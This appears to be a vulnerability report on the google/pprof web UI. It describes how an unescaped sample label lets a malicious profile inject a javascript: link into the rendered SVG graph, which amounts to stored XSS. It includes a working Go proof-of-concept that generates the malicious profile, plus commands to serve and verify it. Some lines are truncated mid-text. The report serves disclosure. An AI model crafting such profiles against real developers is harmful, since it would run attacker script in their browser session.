#1020·pprof

Stored XSS in pprof -http: a malicious profile's sample label/filename is put into the DOT graph without escapeForDot(), injecting URL="javascript:..." that Graphviz renders as a clickable SVG link.

Author: PlayerIUnknownCreated Aug 27, 2026Updated Aug 28, 2026

Summary

pprof -http serves a web UI that renders an untrusted profile (developers routinely open profiles downloaded from CI, production /debug/pprof, bug reports, or colleagues). The graph view builds a Graphviz DOT document from profile-derived strings, runs dot -Tsvg, and embeds the SVG raw (template.HTML). Two string fields - a sample label and a function filename are interpolated into DOT without the escapeForDot() output-encoding that the sibling label/tooltip/edge paths use. A " in the attacker's value closes the DOT label="…" string early, letting the attacker inject a real DOT attribute URL="javascript:…". Graphviz turns that into an SVG <a xlink:href="javascript:…">, which renders in the pprof web origin. Result: stored XSS - a developer who opens a malicious profile and clicks the graph node runs attacker JavaScript in the pprof UI origin.

Affected component

  • Project: google/pprof - https://github.com/google/pprof
  • File / functions:
    • internal/graph/dotgraph.go:250 addNodelets (and :277 numericNodelets) - F1, sample-label tag name
    • internal/graph/dotgraph.go:393 multilinePrintableName (File component) - F2, Function.Filename
    • Rendered raw at internal/driver/webui.go:342 HTMLBody: template.HTML(string(svg))
  • Verified on: current main, commit 4d45320 (built from source).
  • Type / severity: Stored XSS (CWE-79) via improper output encoding (CWE-116); High.

Root cause

The graph is emitted as Graphviz DOT by string-formatting profile text into attr = "value" statements. addNodelets does:

nodelets += fmt.Sprintf(`N%d_%d [label = "%s" id="%s" fontsize=8 shape=box3d tooltip="%s"]`,
    ..., t.Name, ..., t.Name)          // t.Name interpolated RAW, no escapeForDot()

t.Name is the attacker-controlled sample label (key:value, stored verbatim by joinLabels() / findOrAddTag, internal/graph/graph.go). pprof's DOT encoder escapeForDot() escapes "\" (and \, newlines) specifically to stop a quote from terminating a DOT string, and the node/edge label/tooltip paths call it (dotgraph.go:129,190,308,309,386). The two nodelet paths (and the File component at `:3 it** - an incomplete-escaping defect.

Mechanism (stage by stage)

  1. Attacker sets a Sample.Label key to: t" URL="javascript:alert(document.domain)" y="

  2. Stored verbatim as the tag Name (no escaping).

  3. Interpolated raw into DOT:

    N1_0 [label = "t" URL="javascript:alert(document.domain)" y=":v" ... ]
                     ^ this quote closes label="t" early

    Graphviz then parses URL="javascript:alert(document.domain)" as a legitimate node attribute.

  4. dot -Tsvg copies the URL attribute verbatim into an SVG hyperlink:

    <g id="a_N1_0"><a xlink:href="javascript:alert(document.domain)" xlink:title="5"> ... </a>
    
  5. pprof embeds the SVG raw via template.HTML(string(svg)) (escaping bypassed; no Content-Securi on /uiresponses; the web path does not run the CLI'smassageSVG` sanitizer).

  6. The <a href="javascript:…"> is in the pprof origin's DOM; activating the node (a click - norma navigation) executes the attacker's JS in that origin.

Proof of Concept

Step 1 - build a malicious profile with the github.com/google/pprof/profile package. gen_xss.go:

package main
import ("os"; "github.com/google/pprof/profile")
func main() {
  // sample-label KEY that breaks out of the DOT label string and injects URL="javascript:..."
  key := "t\" URL=\"javascript:alert(document.domain)\" y=\""
  m := &profile.Mapping{ID:1, File:"/bin/app"}
  fn := &profile.Function{ID:1, Name:"legit_func", Filename:"/src/app.go"}
  loc := &profile.Location{ID:1, Mapping:m, Address:0x1000, Line:[]profile.Line{{Function:fn, L
  st := &profile.ValueType{Type:"samples", Unit:"count"}
  p := &profile.Profile{
    SampleType:[]*profile.ValueType{st}, DefaultSampleType:"samples",
    Mapping:[]*profile.Mapping{m}, Function:[]*profile.Function{fn}, Location:[]*profile.Locati
    Sample:[]*profile.Sample{{Location:[]*profile.Location{loc}, Value:[]int64{5},
                              Label: map[string][]string{key: {"v"}}}},
  }
  f,_ := os.Create("evil_xss.pb.gz"); defer f.Close()
  if err := p.Write(f); err != nil { panic(err) }
}

Step 2 - generate and serve (requires Graphviz dot installed):

go mod init poc && go get github.com/google/pprof/profile
go run gen_xss.go                       # writes evil_xss.pb.gz
go run github.com/google/pprof@latest -http=127.0.0.1:8088 evil_xss.pb.gz

Step 3 - verify (no browser needed): the injected anchor is in the default graph view:

bash
curl -s http://127.0.0.1:8088/ui/graph | grep -o '<a xlink:href="javascript:[^>]*'
# -> <a xlink:href="javascript:alert(document.domain)" xlink:title="5"

Step 4 - in a browser, open http://127.0.0.1:8088/ui/graph and click the small tag/box node → alert(document.domain) executes in the pprof origin.

Observed live output (google/pprof HEAD 4d45320, with Graphviz):

### GET /ui/graph (default view) - injected anchor:
<a xlink:href="javascript:alert(document.domain)" xlink:title="5">